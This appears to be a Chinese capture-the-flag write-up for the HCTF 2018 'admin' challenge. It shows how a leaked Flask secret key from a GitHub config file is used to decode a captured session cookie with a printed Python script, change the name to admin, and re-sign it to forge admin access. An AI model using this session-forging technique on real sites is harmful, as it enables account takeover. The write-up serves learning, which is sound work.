[HCTF 2018]admin 1

< 文章中有有關(guān)flask session 文章 需要認真讀一下>

1.信息搜集

由題意，注冊admin 用戶，回顯

The username has been registered

猜測需要去偽造admin身份 ，但是這里并沒有獲取到實質(zhì)性的信息，所以查看源碼（這里自己還考慮的源碼泄露，，，但是并沒效果）

非admin 用戶登錄源碼內(nèi)容（這證明猜想沒有問題）

然后在更改密碼< change password >處發(fā)現(xiàn)提示，，，訪問網(wǎng)址（flask session 偽造）

https://github.com/woadsl1234/hctf_flask/                  //這里剛開始并沒有發(fā)現(xiàn)一些信息

網(wǎng)上搜了一篇flask 框架 身份認證的文章

然后了解到flask 框架是通過sessio n 進行認證的， Flask的session使用

這里在github 上找到了config.py ，里面存在我們想要的 密鑰 ckj123

2.偽造flask session

這里其實在user.sql 文件中也發(fā)現(xiàn)了admin 和 “ ckj123 ” 的身影，不過當(dāng)時并不知道這是密鑰，唉

但是有了密鑰之后我們并不知道如何去進行偽造，，，emmm

好吧肯定是要搜一下如何進行flask session 偽造的（但這個就是 wp ，只能說極限了）

大神里面也是用了一個解密腳本的（對session 進行解密）

唉，怎末腳本都是python ，要去學(xué)python了 ！??！

加密腳本

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))

還有一種就是 (沒用出來)

from itsdangerous import *
s = "eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYIkY"
data,timestamp,secret = s.split('.')
int.from_bytes(base64_decode(timestamp),byteorder='big')

然后就是抓包獲取session （change password 的包 ，用于偽造admin）

Cookie: session=.eJxNkE1rwkAQhv9KmbOHRPQieCisBoWZkHRj2L1IamP2I2shKuqI_72rhdLz-8wz78wdtvuhPRqYnYZzO4Kt_YLZHd4-YQZalL3iRUquS0hqp6VnErsxZSrBsTaKdxMU1KMwXkUGa_J5hqzF0qpapXm2uNK4SNFVU5SRldUE3SpBXlqSmz6XmGhnegrFhbhiFB0T9yGXS6PF6krSWJ3FmVB6xT728BcKZR-dT9ezR9y_YuX8HB4j2B2H_fb07dvDvxM8q3ptI5rm4v2mwtpiVty03DgSpdc1GayRKaumUXtDVxoq5i-dDU3X_pnIrdVH95scmhADaJoGRnA-tsPra5Am8PgBTxZsRQ.Y1lA2Q.CIgpWeki-z_V1Inj2M4KE-gD70A

使用腳本解密

{'_fresh': True, '_id': b'd4ec1568456ce934764f43fac7803e08db841cd8c3d1baf58a17d525917815822431b55e934f8e6d075308379f91ad2158bde82ddc956906de7d81564f8023b9', 'csrf_token': b'd93abb4f5802bbb0d2e5c44deca1c34e97d224a5', 'image': b'62XJ', 'name': 'aaa', 'user_id': '10'}

把name 改成admin

加密腳本

https://github.com/noraj/flask-session-cookie-manager

//flask_session_cookie_manager3.py

完成偽造admin ，發(fā)包，拿下，